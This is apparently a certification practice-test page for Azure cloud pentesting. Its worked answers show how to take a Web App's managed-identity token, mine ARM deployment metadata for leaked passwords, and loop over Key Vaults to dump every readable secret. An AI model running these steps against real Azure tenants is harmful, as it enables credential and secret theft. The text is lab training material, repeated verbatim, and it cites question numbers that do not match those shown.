The SecOps Group Certified Cloud Pentesting eXpert - Azure (CCPenX-Az) Free Practice Test
Question 1
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Correct Answer:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
Question 2
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
Correct Answer: B
Explanation: Only visible for TestSimulate members. You can sign-up / login (it's free).
Question 3
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Correct Answer:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
Question 4
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
Correct Answer: D
Explanation: Only visible for TestSimulate members. You can sign-up / login (it's free).